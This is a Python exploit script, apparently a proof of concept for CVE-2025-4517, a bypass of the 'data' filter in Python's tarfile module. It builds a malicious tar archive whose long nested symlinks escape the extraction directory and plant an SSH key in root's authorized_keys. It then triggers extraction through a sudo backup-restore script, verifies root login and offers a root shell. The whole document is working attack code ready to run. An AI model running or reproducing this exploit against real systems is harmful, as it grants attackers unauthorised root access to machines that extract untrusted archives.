#!/usr/bin/env python3 """ CVE-2025-4517 - Python tarfile filter="data" Bypass via PATH_MAX Overflow Writes an SSH public key to /root/.ssh/authorized_keys for root access. Affected: Python 3.8.0 - 3.13.1 Usage: python3 exploit.py [-k /path/to/key.pub] """ import argparse import io import os import subprocess import sys import tarfile def generate_ssh_keypair(): """Generate a temporary SSH keypair and return (private_key_path, public_key).""" key_path = "/tmp/cve_2025_4517_key" if os.path.exists(key_path): os.remove(key_path) if os.path.exists(f"{key_path}.pub"): os.remove(f"{key_path}.pub") result = subprocess.run( ["ssh-keygen", "-t", "ed25519", "-f", key_path, "-N", "", "-q"], capture_output=True ) if result.returncode != 0: print(f"[-] ssh-keygen failed: {result.stderr.decode()}") sys.exit(1) with open(f"{key_path}.pub") as f: public_key = f.read().strip() print(f"[+] SSH keypair generated: {key_path}") return key_path, public_key def create_exploit_tar(public_key, output_file): """ Builds a malicious tar that bypasses filter="data" via PATH_MAX confusion. Flow: 1. Nested dirs with 247-char names create paths > 4096 bytes 2. os.path.realpath() silently stops resolving at PATH_MAX 3. filter="data" checks the unresolved path (safe-looking) 4. Kernel resolves the real path during extraction (escapes sandbox) 5. Regular file written through the escaped symlink lands in /root/.ssh/ """ print("[*] Creating exploit tar...") comp = "d" * 247 steps = "abcdefghijklmnop" # 16 levels deep path = "" pubkey_entry = (public_key + "\n").encode() with tarfile.open(output_file, mode="w") as tar: # Deep nested directories + single-char symlinks to long names for i in steps: dir_entry = tarfile.TarInfo(os.path.join(path, comp)) dir_entry.type = tarfile.DIRTYPE tar.addfile(dir_entry) sym_entry = tarfile.TarInfo(os.path.join(path, i)) sym_entry.type = tarfile.SYMTYPE sym_entry.linkname = comp tar.addfile(sym_entry) path = os.path.join(path, comp) # Symlink going up 16 levels from inside the deep path linkpath = os.path.join("/".join(steps), "l" * 254) traversal = tarfile.TarInfo(linkpath) traversal.type = tarfile.SYMTYPE traversal.linkname = "../" * len(steps) tar.addfile(traversal) # Escape symlink pointing to /root. # filter="data" resolves "escape" -> linkpath + /../../../../../../../root # but linkpath is so long that realpath() stops at PATH_MAX and # sees the path as still inside the staging dir — check passes. # The kernel resolves it correctly during extraction. escape = tarfile.TarInfo("escape") escape.type = tarfile.SYMTYPE escape.linkname = linkpath + "/../../../../../../../root" tar.addfile(escape) # Write .ssh dir through the escape symlink ssh_dir = tarfile.TarInfo("escape/.ssh") ssh_dir.type = tarfile.DIRTYPE ssh_dir.mode = 0o700 tar.addfile(ssh_dir) # Write the public key directly through the escape symlink. # filter="data" tries realpath("escape/.ssh/authorized_keys") but # "escape" itself points to the long path, exceeding PATH_MAX again — # check passes, kernel writes to /root/.ssh/authorized_keys. payload = tarfile.TarInfo("escape/.ssh/authorized_keys") payload.type = tarfile.REGTYPE payload.size = len(pubkey_entry) tar.addfile(payload, fileobj=io.BytesIO(pubkey_entry)) print(f"[+] Exploit tar created: {output_file}") return output_file def deploy_and_execute(tar_file, backup_id="9999"): """Copy the exploit tar to the backup dir and trigger extraction as root.""" backup_dir = "/opt/backup_clients/backups" backup_file = f"backup_{backup_id}.tar" backup_path = os.path.join(backup_dir, backup_file) print(f"[*] Deploying exploit to: {backup_path}") try: subprocess.run(["cp", tar_file, backup_path], check=True) print("[+] Exploit deployed successfully") except subprocess.CalledProcessError: print("[-] Failed to deploy exploit — check write permissions on backups/") return False print("[*] Triggering extraction via vulnerable script...") cmd = [ "sudo", "/usr/local/bin/python3", "/opt/backup_clients/restore_backup_clients.py", "-b", backup_file, "-r", f"restore_pwn{backup_id}", ] result = subprocess.run(cmd, capture_output=True, text=True) print(result.stdout) if result.returncode != 0: print(f"[-] Extraction failed:\n{result.stderr}") return False print("[+] Extraction completed") return True def verify_exploit(key_path): """Try SSH as root using the generated key.""" print("[*] Verifying exploit via SSH...") result = subprocess.run( [ "ssh", "-i", key_path, "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", "root@localhost", "id" ], capture_output=True, text=True ) if "uid=0" in result.stdout: print(f"[+] SUCCESS! SSH as root confirmed: {result.stdout.strip()}") return True else: print(f"[-] SSH verification failed: {result.stderr.strip()}") return False def main(): parser = argparse.ArgumentParser( description="PoC exploit for CVE-2025-4517 - tarfile filter bypass for root SSH access" ) parser.add_argument( "-k", "--key", help="Path to existing SSH public key (default: generate a new keypair)" ) args = parser.parse_args() if args.key: with open(args.key) as f: public_key = f.read().strip() key_path = args.key.replace(".pub", "") print(f"[*] Using provided public key: {args.key}") else: key_path, public_key = generate_ssh_keypair() exploit_tar = "/tmp/cve_2025_4517_exploit.tar" create_exploit_tar(public_key, exploit_tar) if not deploy_and_execute(exploit_tar): print("[-] Exploit failed during deployment/execution") sys.exit(1) if verify_exploit(key_path): print("\n" + "=" * 60) print("[+] EXPLOITATION SUCCESSFUL!") print(f"[+] SSH into root with: ssh -i {key_path} root@localhost") print("=" * 60 + "\n") answer = input("[?] Open root shell now? (y/n): ") if answer.lower() == "y": os.execvp("ssh", ["ssh", "-i", key_path, "-o", "StrictHostKeyChecking=no", "root@localhost"]) else: print("[-] Exploit verification failed") print(f"[*] Try manually: ssh -i {key_path} root@localhost") sys.exit(1) if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\n[!] Interrupted") sys.exit(1) except Exception as e: print(f"[-] Unexpected error: {e}") sys.exit(1)